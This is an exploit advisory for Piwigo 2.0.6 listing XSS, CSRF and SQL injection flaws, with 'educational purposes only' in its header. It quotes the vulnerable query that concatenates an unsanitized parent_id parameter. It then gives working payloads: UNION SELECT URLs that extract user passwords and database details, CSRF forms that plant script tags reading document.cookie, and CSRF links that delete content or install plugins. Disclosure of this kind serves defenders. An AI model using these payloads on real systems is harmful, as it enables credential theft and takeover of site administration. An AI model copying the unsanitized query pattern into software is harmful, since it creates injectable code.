################################################################# 
#
# Piwigo v2.0.6 Multiple Vulnerabilities
# Found By: mr_me
# Download: http://piwigo.org/
# Tested On: Windows Vista
# Note: For educational purposes only
# Vulnerabilities: XSS, CSRF, SQL Injection
# Author contact date: 13/12/09
#
#################################################################

Note: There is possibly many other vulnerabilities but I need to sleep!

XSS Vulnerabilities:

When creating a "category" or a "tag" in the admin panel the user can submit javascript code that could be executed in the context of the browser. 
This would not be significant as only the administrator can complete this functionalility, however this can be combined with CSRF for proper exploitation. (see below)

SQL Injection Vulnerabilities:

Note: This app uses "mysql_fetch_array()" which also details the full web root path when a SQL error is created.

Warning</b>:  mysql_fetch_array() expects parameter 1 to be resource, boolean given in <b>C:\xampp\htdocs\piwigo-2.0.6\include\functions.inc.php</b> on line <b>936

The parent_id and image_id and unsanitized however image_id does not seem exploitable. Also when updating an image in the caddie there is a post back that has some possibly exploitable variables "associate", "dissociate" and "selection[]". Below is the vulnerable code for parent_id in cat_list.php

8<------------------------------------snip------------------------------------8<

else
{
  $query.= '
  WHERE id_uppercat = '.$_GET['parent_id'];
}

8<------------------------------------snip------------------------------------8<

exploit:

8<------------------------------------snip------------------------------------8<

http://[server]/piwigo-2.0.6/admin.php?page=cat_list&parent_id=-6+union+select+1,password,3,4,5,6+from+piwigo.piwigo_users--
http://[server]/piwigo-2.0.6/admin.php?page=cat_list&parent_id=-6+union+select+1,concat(0x1e,0x1e,version(),0x1e,user(),0x1e,database(),0x1e,0x20),3,4,5,6--

8<------------------------------------snip------------------------------------8<

http://127.0.0.1/piwigo-2.0.6/admin.php?page=picture_modify&cat_id=7&image_id=1'

[mysql error 1064] You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 3

CSRF vulnerabilities:

There are some very nice CSRF's in the admin panel. First of all when creating tags for the tag cloud and also creating a category. 
So if we combine these CSRF's with XSS then we can login to the admin panel and execute SQL Injection :)

exploit:

8<------------------------------------snip------------------------------------8<

<form action="http://[server]/piwigo-2.0.6/admin.php?page=tags" method="post">
  <fieldset>
    <label>
      <input type="hidden" value="<script>alert(document.cookie)</script>" name="add_tag" />
    </label>
    <p><input class="submit" type="submit" name="add" value="Submit" /></p>
  </fieldset>
</form>

or 

<form id="addVirtual" action="http://[server]/piwigo-2.0.6/admin.php?page=cat_list" method="post">
   <input type="hidden" name="virtual_name" value="<script>alert(document.cookie)</script>" />
    <input class="submit" type="submit" value="Submit" name="submitAdd"  />
</form>

or

http://[server]/piwigo-2.0.6/admin.php?page=cat_list&delete=1
http://[server]/piwigo-2.0.6/admin.php?page=plugins_new&order=date&revision=1364&extension=234
http://[server]/piwigo-2.0.6/comments.php?delete=2

8<------------------------------------snip------------------------------------8<